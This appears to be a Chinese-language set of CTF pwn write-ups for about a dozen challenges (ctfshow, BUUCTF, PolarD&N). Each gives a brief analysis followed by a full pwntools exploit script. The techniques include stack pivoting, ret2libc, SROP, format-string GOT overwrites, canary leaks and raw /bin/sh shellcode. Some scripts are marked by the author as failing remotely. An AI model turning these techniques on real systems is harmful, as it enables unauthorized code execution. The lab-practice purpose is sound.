pwn123
题源:ctfshow–pwn123
知识点:逻辑漏洞引发的数组越界,导致任意地址写,覆盖返回地址。
主要源码
查看ida存在后面函数,可以劫持ctfshow函数的返回值到backdoor获得shell。
查看case 1代码发现并未对数组赋值的序号 i 进行限制并且 v3[1~i] 可控,查看v3数组与ebp距离可以得到 eip 地址即为 v3[14] 的地址。{(0x38 + 0x4)/ 4 = 15 ,v3[15-1] = v3[14] } 也可以通过调试得到。
调试分析
首先输入序号17进行测试,即修改 v3[17] 处数据。
简单计算得到存放返回地址的为 v3[14] 处,填入shell地址即可。
exp
from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28268)
elf = ELF('./pwn123')
backdoor = elf.sym['init0']
io.sendlineafter(b"what's your name?",b"aaa")
io.recvuntil(b"4 > dump all numbers")
io.sendlineafter(b' > ',b"1")
io.sendlineafter(b"Index to edit: ",b"14")
io.sendlineafter(b"How many? ",str(backdoor)) # 0x80485d6---> 134514134
io.sendline(b'0')
io.interactive()
borrowstack
题源:BUUCTF-borrowstack
知识点:栈迁移 + ret滑梯 + ret2libc3 + onegadget
坑点:泄露libc地址的payload返回main函数会导致got表覆盖,从而无法正常返回。
解决方法:ret滑梯。p64(ret)数量可变
源码
思路分析
首先利用溢出的8字节将栈转移到bss段泄露libc地址,然后搜索libc版本找到 onegaget 相对地址,leak_addr过程返回到main函数,覆盖返回地址为onegadget地址获取shell。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29944)
offset = 0x60
elf = ELF('./borrowstack')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
leave = 0x400699
bss = 0x601080
pop_rdi = 0x400703
pop_rbp = 0x400590
ret = 0x4004c9
p1 = b'a'*offset + p64(bss) + p64(leave)
io.sendafter(b'want\n',p1)
#-----------------ret滑梯--------------------------------------
p2 = p64(ret)*28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendafter(b'now!\n',p2)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts - libc.dump('puts')
sym = base + libc.dump('system')
bin = base + libc.dump('str_bin_sh')
#由于使用system构造rop较长,需要二次调用read函数,比较麻烦。这里选择onegadget方法。
one = base +0x4526a
p3 = b'a'*0x68 + p64(one)
io.recv()
io.send(p3)
io.interactive()
Tips:打通后第一次发出命令没有正常接收返回数据,需要再发一次。如下图:
shellcode
题源:BUUCTF–pwnable_start
考点:堆栈可执行,汇编代码与栈结构剖析
知识点:借用程序已有的汇编代码实现多次读写---->泄露栈地址。
源码
没有主函数,_start函数汇编代码如下:
分析
首先将eax赋值为4,bx,cx,dx分别赋值1,esp,0x14,然后调用int 80中断。转化为:write (1,addr,0x14) **
即 从esp指向位置开始读取0x14字节数据。也就是上面push的内容,调试得到
然后令ebx为0,ecx不变,edx为0x3c(也就是60),int 80中断 -------------->read(0, addr, 0x3c)**
即 从esp指向位置最多写入0x3c字节数据,将原输出数据覆盖。
最后使得esp向下移动0x14字节到达返回地址处,然后eip执行retn,返回地址弹出给eip,esp向下移动4字节。
思路
由于堆栈可执行,选择在栈上布置shellcode。而esp到返回地址空间为0x14,已知最短32位shellcode是21字节,因此无法在此处填充,但由于0x3c-0x14=0x28满足要求,可以在返回地址后面填充shellcode,因此首要条件是获取栈地址,然后覆盖返回地址为shellcode地址。
- leak_stack,布置shellcode链
已知程序执行一次后esp指向了返回地址下面四字节,相比原来位置+0x18,在上图中发现该地址的数据为0xffffd060,刚好是某个栈地址的二级映射,因此将该数据泄露出来加上偏移即可得到shellcode布置的栈地址。
已知程序第一次运行结束后new esp相对地址,可以将第一次返回地址填充为write函数打印数据部分的汇编地址(即0x8048087),利用它来打印出二级映射的栈地址,然后程序会调用read函数从new esp位置向下写入数据。首先填充0x14字节垃圾数据,然后覆盖返回地址为shellcode栈地址。接着填充shellcode。
- payload流程图
exp
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',29641)
read = 0x8048087
p1 = b'a'*20 + p32(read)
io.sendafter(b':',p1)
stack = u32(io.recv(4))
print(hex(stack))
io.recv()
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'A'*0x14 + p32(stack+0x14)+shellcode
'''
shell = shell.ljust(20,b'\x00')
shell += p32(stack)
'''
io.send(payload)
io.interactive()
choose
题源:PolarD&N–pwn
考点:fmt泄露canary + leak_libc + ret2libc3
坑点:理清leak_libc功能代码的逻辑,进而泄露函数地址
源码
程序提供三个功能模块,通过选择序号进入。fmt与overflow模块常规,就不再贴源码了。直接看leak_libc的源码。
分析
一开始看不太懂leak_libc的意思。先随便输入数据进行调试,发现会被中断,不能正常返回。一步一步跟进发现puts函数被调用时候参数为0。而puts函数就是把参数指向地址的数据打印出来,因此会到达无效内存,被内核中断运行。
仔细分析反汇编代码,结合puts函数与atoi函数原型:
得到结论:该模块是将输入地址(int类型)处的数据打印出来。
联想到Linux的延迟绑定机制,可以得出结论:由于puts被执行过了,此时puts_got表中存放的就是puts函数的真实地址,因此可以直接获得libc地址,构造ret2libc的rop链,进行getshell。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('120.46.59.242',2055)
elf = ELF('./pwn2')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi =0x400a93
ret = 0x4005f1
#-------------------------leak_canary--------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'1')
io.sendline(b'%11$p')
canary = int(io.recvline(keepends=False),16)
print(hex(canary))
#------------------------leak_libc-------------------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'2')
print(puts_got) # 6295576
io.send(b'6295576')
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
#---------------------------overflow----------------------------------------
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts - libc.sym["puts"]
print(hex(libc_base))
sys = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
io.sendlineafter(b"3.Buf overflow\n",b'3')
p3 = b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh_addr)+p64(sys)
io.send(p3)
io.interactive()
starctf2018_babystack
题源:BUUCTF
考点:canary—stack_guard + stack_migrant + one_gadget
源码
思路
首先利用 stack_guard 绕过canary,参见 Canary。然后泄露puts函数地址,接着进行栈迁移打one_gadget。
注意点:第一个payload将rbp设置成bss段地址进行迁移。先泄露puts函数地址,然后调用read函数向bss地址写入one_gadget。rip设置成 leave ;ret。
第二个payload直接输入one_gadget。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io = remote('node5.buuoj.cn',28722)
read = elf.sym['read']
my_canary = 0xc30af2c248625400
leave = 0x400955
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
ret = 0x400287
bss = elf.bss()+ 0x200
offset = 0x1848
p = b'a'*0x1008 + p64(my_canary) + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
p += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read)
p += p64(leave)
p = p.ljust(offset,b'a') +p64(my_canary)
io.sendlineafter(b'send?\n',b'6224')
io.send(p)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts-libc.dump('puts')
one = base + 0x4f322
p2 = p64(ret) + p64(one) # 这里在one_gadget前面加8字节应该是栈帧平衡,p64(0)亦可
io.send(p2)
io.interactive()
picoctf_2018_got_shell
题源:BUUCTF
考点:逻辑漏洞修改got表
查看保护信息:
源码
存在逻辑漏洞,获取用户输入的地址并修改该地址为任意值。存在后门函数。
分析
思路:由于Linux延迟绑定,puts第一次调用后,puts.got保存的地址就是真实地址,以后每次调用puts会向got表查询,可以直接将这个值修改为backdoor地址,这样再次调用puts就执行了backdoor,获得shell。
exp
from pwn import *
p=remote('node5.buuoj.cn',25901)
elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B
p.sendlineafter("value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()
ciscn_2019_s_3
题源:BUCTF–PWN
考点:srop-execve调用 或 syscall解法
坑点:泄露出来的栈地址有点不一样(kali比靶机多0x30,Ubuntu多0x10…)
源码
main函数直接进入vuln函数调用。
发现可用gadgets,考虑使用SROP或者syscall方法。
分析
观察下面部分代码可知,首先调用 sys_read 向 rsp (/rbp) -0x10 位置读入最多 0x400 字节数据,然后从相同位置输出栈上数据0x30长度,可以泄露栈地址。最后正常返回,注意 rbp+0x8 位置即为 rip返回地址,也就是说输入数据 buf占据0x10,接着就是 rbp和 rip 。
payload构造栈:
p1:/bin/sh\x00+aaaaaaaa ----->buf+“rbp”(0x10) #leak出来bin地址
vul ---------------------------> “rip”(rbp)
p2:aaaaaa --------------------> buf+“rbp”(0x10)
srop --------------------------> rbp(“rip”)
syscall + frame -------------> …
exp
from pwn import *
#io = remote('node5.buuoj.cn',26115)
io = process('./3')
elf = ELF('./3')
context(arch="amd64",os="linux", log_level="debug")
vul=0x4004F1 #从 xor rax,rax 开始,仅调用一部分汇编
srop = 0x4004da # mov 0xF0 rax;ret
syscall=0x400517 # syscall;ret
#第一次输入shell,泄露栈地址,然后调转二次运行输入数据执行SROP
p1 = (b'/bin/sh\x00').ljust(16,b'a') + p64(vul)
io.sendline(p1)
io.recv(0x20)
bin = u64(io.recv(8))-0x118 #kali下为-0x148,Ubuntu为-0x128。。。
print(hex(bin))
frame = SigreturnFrame()
frame.rax = 59 # execve(/bin/sh,0,0)
frame.rdi = bin # /bin/sh 填写地址为 rbp-0x30
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
# 由于程序第一次运行返回时,结尾汇编为 pop rbp;retn,retn之后此时rsp指向旧的rip
# 因此第二次回调执行sys_read时候写入起始位置为 旧的rip-0x10,即旧rbp地址。
# 而/bin/sh在 旧的rbp上面0x10处,不会被覆盖。
io.sendline(b'a'*0x10+p64(srop)+p64(syscall)+bytes(frame))
# buf + rbp/rip (srop)+ rip+8(syscall) + ...
io.interactive()
rootersctf_2019_srop
题源:BUUCTF-PWN
考点:方法1:srop移栈 + srop
方法2:栈迁移+srop(暂时没成功…)
源码
先输出部分信息,然后利用 push 0 和 pop rax 调用sys_read函数 向栈中填充数据。发现 syscall指令地址:0x401033。
可能用到的gadgets:
分析
由于未知栈地址,需要在bss段构造excve(/bin/sh\x00,0,0)。先进行输入地址栈转移。
方法一:srop+srop
首先利用第一次栈溢出进行srop利用(buf,rip:rt_sigreturn ,syscall,frame):布置寄存器数据,调用read向bss段输入数据,满足再次栈溢出的条件 read(0,bss,0x400) ,注意rbp位置:frame.rbp = bss + 0x20。
然后程序会指向bss段接收输入数据,在bss段 填充 /bin/sh\x00 再次利用 srop布置寄存器构造execve(/bin/sh\x00,0,0)。
方法二:栈迁移+srop
第一次栈溢出劫持返回地址到bss段,然后rip填充 rt地址,使得程序再次执行(同时rsp也转移到bss段)。
然后在第二次运行时进行栈溢出利用srop构造 execve(/bin/sh\x00,0,0)。
exp
from pwn import *
io = process("./srop")
#io = remote('node5.buuoj.cn',27655)
context(arch="amd64", os="linux",log_level="debug")
# write /bin/sh on bss
bss = 0x402000 + 0x400
syscall_leave_ret = 0x401033 #通用
syscall_addr = 0x401046 #仅第二个frame中的rip可用此gadget
pop_rax_syscall_leave_ret = 0x401032
# srop to call read, set *data_addr = /bin/sh\x00
frame = SigreturnFrame()
frame.rax = 0 # read(0,bss,0x400) stack: buf rbp-0x20
frame.rdi = 0 # rbp
frame.rsi = bss
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = bss + 0x20
p1 = 0x88 * b"a"+ p64(pop_rax_syscall_leave_ret) + p64(0xf)+ bytes(frame)
io.sendafter(b"Hey, can i get some feedback for the CTF?\n",p1)
frame = SigreturnFrame()
frame.rax = 59 # execve(bss,0,0)
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
p2 = b"/bin/sh\x00"+ b"a" * 0x20+ p64(pop_rax_syscall_leave_ret) + p64(0xf)
p2 += bytes(frame)
io.send(p2)
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',27029)
io = process('./srop')
elf = ELF('./srop')
context(arch="amd64",os="linux", log_level="debug")
bss = 0x402000 + 0x400
rt = 0x401001
syscall_leave_ret = 0x401033 #通用
pop_rax_syscall = 0x401032
io.recv(0x2a)
p1 = b'a'*0x80 + p64(bss) + p64(rt)
io.send(p1)
io.recv(0x2a)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss-0x80
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
frame.rbp = bss
frame.rsp = bss-0x40
p2 = (b'/bin/sh\x00').ljust(0x88,b'\x00') + p64(pop_rax_syscall) + p64(0xf)
p2 += bytes(frame)
io.send(p2)
io.interactive()
ciscn_2019_s_4
题源:BUUCTF-PWN
考点:32位栈迁移【方法一:迁移到stack / 方法二: 迁移到bss段(不通…)】
坑点:/bin/sh\x00只能放在system后面,放在rbp位置不行。(详见exp代码部分)
迁移到bss时候打不通…,暂未知原因。
源码
存在system函数,输入/bin/sh\x00构造rop即可。
分析
方法一:leak_stack + stack_migrant
第一次输入位置填充垃圾数据0x28用来泄露栈上某个地址,然后减去偏移0x38(这次偏移一致了)得到输入buf位置的栈地址。第二次填入/bin/sh\x00再构造rop链:system + p32(0) + p32(bin)
最后填上fake_rbp和 leave回调执行rop,(注意fake_rbp需要为有效rop链起始地址-0x4)即可获取shell。
方法二:stack_migrant
第一次随便输入垃圾数据跳过该次输入,第二次将rbp转移到bss段地址,然后调用第二次read的汇编代码片段(0x80485D8),向rbp-0x28地址输入数据构造rop链:
/bin/sh\x00 + system + p32(0) + p32(bin), 补充数据使得长度到达0x28。
由于buf地址在rbp-0x28地址,最后填充fake_rbp为 bss-0x28-0x4(即 bss-0x2c),填上leave回调执行rop。【打不通…】
exp
from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./4')
elf = ELF('./4')
context(arch="i386",os="linux", log_level="debug")
leave = 0x80484b8
#0x080484b8 : leave ; ret
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recvuntil(b'a'*0x28)
buf = u32(io.recv(4).ljust(4,b'\x00'))-0x38
print(hex(buf))
bin = buf+0xc
system = elf.sym['system']
p2 = (p32(system) + p32(0) + p32(bin)+b'/bin/sh\x00').ljust(0x28,b'\x00')
# 注意:这里如果改成
# b'/bin/sh\x00'+ p32(system) + p32(0) + p32(bin-0xc) 就打不通了
p2 += p32(buf-4)+p32(leave)
io.send(p2)
io.recv()
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./ciscn_2019_s_4')
elf = ELF('./ciscn_2019_s_4')
context(arch="i386",os="linux", log_level="debug")
bss = 0x804a000 + 0x400
leave = 0x80484b8
#0x080484b8 : leave ; ret
#0x080483bd : pop ebx ; ret
pop_ebx = 0x80483bd
read = 0x080485D8
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recv()
p2 = b'a'*0x28 + p32(bss) + p32(read)
io.send(p2)
io.recv()
buf = bss-0x28
bin = buf+12
system = elf.sym['system']
p3 = (p32(system)+p32(0)+p32(bin)+b'/bin/sh\x00').ljust(0x28,b'a') +p32(bss-0x2c)+ p32(leave)
io.send(p3)
io.recv()
io.interactive()
axb_2019_fmt32
题源:BUUCTF–PWN axb_2019_fmt32
考点:32位fmt_leak_address 获取 libc + got篡改
坑点:注意 fmt_leak 时候利用%s的构造的rop偏移与对齐
源码
分析
Step1:利用格式化字符串漏洞泄露出执行过的函数地址,然后根据 libc 得到system 函数的地址
使用脚本得到的偏移为8,但是由于输入的第一个字节位于上一个0x4地址末端,远程有时会出现报错。
手动测试:
需要先填充一个字节来对齐,然后填充got地址,使得got地址偏移刚好为8。
并且发现偏移offset为 2,3,4,5位置与aaaaaaaa距离为8,与脚本一致。
Step2:利用 fmtstr (或 手动构造输入,这里有些困难…) 来篡改 printf 函数的got地址为system函数地址。
b’a’ +fmtstr_payload(8,{printf_got:sys_addr},write_size = “byte”,numbwritten = 0xa)
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数numbwritten表示已经输出的字符个数
sprintf 表示追加到 “Repeater:”后面,再加上fmtstr前面的b’a’。==> 0x9 + 0x1 = 0xa
第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
Step3:输入system函数的参数构造 system(/bin/sh)。
exp
from pwn import *
context(arch='i386', os='linux', log_level='debug')
p =remote('node5.buuoj.cn',28108)
elf =ELF('./fmt')
got_addr =elf.got['printf']
printf_got = elf.got['printf']
# offset = 8
'''
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
'''
# 1 + 4 + 7 + 4 = 16 =0x10
payload =b'A' +p32(got_addr) +b'bbbbbbb' + b'%8$s' #建议对齐(0x10)
p.sendafter(b"Please tell me:",payload)
p.recvuntil(b'bbbbbbb') # 注意接收的地址在b*7之后位置
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
libc = ELF('./libc-2.23_32.so')
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
payload=b'a'
payload +=
fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa)
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00') # 需要两次发送
p.interactive()
axb_2019_fmt64
题源:BUUCTF–PWN axb_2019_fmt64
考点:64位fmt_leak_address 获取 libc + got篡改
坑点:64位got表开头的\x00截断问题,需要更改 p64(got) 位置 。(相较于上一题,不需要开头填充)
传参 /bin/sh\x00 时候前面需要加上”;“。
源码
与上题几乎一样,略…
分析
**Step1:**偏移为8,并且不需要对齐:
Step2:64位程序,got地址 \x00截断 :
这里使用了p32(got)测试,不过意思是一样的。
发现没有接收到 bbbbbb,并且got也没有成功解析得到函数地址,需要修改p64(got)位置,同时注意%8$s也要随之修改。
注意64位一个地址是 8 字节,不同于 32位的 4字节。因此 %9 s 是在 s 是在 %8 s是在p 基础上增加8字节。
远程打不通,下面是本地测试结果:
Step3:参数发送问题 :
Fail:
Success:
这里输入有 时间限制,不过还是可以成功的。
exp
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
p =process('./fmt')
#p =remote('node5.buuoj.cn',27332)
elf =ELF('./fmt')
got_addr =elf.got['printf']
printf_got = got_addr
print(hex(got_addr))
payload = b'%9$saaaa' + p64(got_addr) #对齐
p.sendafter(b"Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = ELF('./libc-2.23_64.so') #远程打不通
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #local
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
payload=fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0x9) #其实system函数和printf函数只有后面几位数字不一样,也可以手动修改...
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')
p.interactive()